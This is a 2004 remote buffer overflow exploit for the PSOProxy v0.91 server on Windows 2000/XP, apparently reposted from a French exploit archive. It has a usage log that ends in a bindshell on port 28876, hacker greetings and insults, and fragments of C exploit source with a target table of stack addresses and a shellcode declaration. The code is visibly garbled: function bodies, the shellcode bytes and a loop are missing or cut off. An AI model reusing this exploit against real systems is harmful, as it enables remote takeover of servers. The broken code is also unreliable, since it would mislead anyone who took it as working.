PSOProxy v0.91 Remote buffer Overflow Exploit (Windows 2000/XP)


                              Copyright © Rosiello Security

                              http www rosiello org

                              -== Remote Exploit for PSOProxy version v0.91 ==--
                              Code by: rave
                              Date: Feb 2004
                              Bug found by: Donato Ferrante

                              There is a vulnerability found in the PSOProxy server.
                              An attacker can execute arbitrary code exploiting remotely a buffer overflow.

                              The exploit sends:

                              GET / 

                              This spawns a bindshell on the victim at port 28876..

                              Usage psoproxy-exploit.exe  
                              Target Number           Target Name                             Stack Adress
                              =============           ===========                             ===========
                              0                       Demo                                    0xBADC0DED
                              1                       Windows XP Home Edtion SP1.             0x00D2FDDA
                              2                       Windows XP Pro Edtion SP1.              0x00EDFDDC
                              3                       Win2k Pro Edtion.                       0x00BBFDDC

                               psoproxy-exploit localhost 1
                              [+] Winsock Inalized
                              [+] Trying to connect to localhost:8080
                              [+] socket inalized
                              [+] Overflowing string is Prepared
                              [+] Connected.
                              [+] Overflowing string had been send

                               telnet localhost 28876
                              Microsoft Windows XP [versie 5.1.2600]
                              (C) Copyright 1985-2001 Microsoft Corp.


                              Respect the law as we do!

                              Special Tankz to:
                              opy   { win2k 0wnage !! ty for lending me ur box }
                              B0f   { Hope to work with u again in the futhure like we do all the time }
                              Dragnet  { Always willing to help me out }
                              Angelo  { Verry good maffio`so }

                              Greetz go out to:
                              Kajun  { Verry suportive guy }
                              NrAziz { 0wns pakistan hax0r scene ! beware always say mr NrAziz }
                              sloth  { good guy }
                              Mercy  { Hope to see u soon }
                              Netric security { }
                              [+] All the hax0rs i forgot.

                              Hate Messages:
                              Ziphie { U didnt get mine bitch }

                              OOh and Li0n7 voila fr {
                              you're doing it all wrong, your exploit doesn't work!
                              k/j man, keep on doing the good stuff and next time add some more stack adresses so
                              it would work on other os`s...


                              Advisory at:



                              // Darn fucking 1337 macro shit
                              #define ISIP(m) (!(inet_addr(m) ==-1))

                              #define offset 1024 //1024

                              struct remote_targets {
                              char *os;
                              unsigned long sh_addr;
                              } target [] ={
                              /* Option`s for your eyes only :D*/
                              "Demo                        ",

                              "Windows XP Home Edtion SP1. ",

                              "Windows XP Pro Edtion SP1.  ",

                              "Win2k Pro Edtion.          ",


                              //Bindcode spawns a binshell on port 28876 (Thanks to guys)
                              unsigned char  shellcode[] =

                              // now what would this button do ?
                              char *host_ip;
                              u_long get_ip(char *hostname)
                              struct  hostent    *hp;

                              if (ISIP(hostname)) return inet_addr(hostname);

                              if ((hp = gethostbyname(hostname))==NULL)
                              { perror ("[+] gethostbyname() failed check the existance of the host.\n");
                              exit(-1); }

                              return (inet_ntoa(*((struct in_addr *)hp->h_addr)));

                              /// oooh yeah uuuh right ....
                              int usage (char *what)
                              int i;
                              fprintf(stdout,"Copyright © Rosiello Security\n");
                              fprintf(stdout,"Usage %s  \n",what);
                              fprintf(stdout,"Target Number\t\tTarget Name\t\t\t\tStack Adress\n");

                              for (i=0;i   28876

                               telnet localhost 28876
                              Microsoft Windows XP [versie 5.1.2600]
                              (C) Copyright 1985-2001 Microsoft Corp.


                              // the cleaners !!

                              // [EOF]
                              return 0;


 F-VNS Security™  Audits de Sécurité & Tests Intrusifs Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits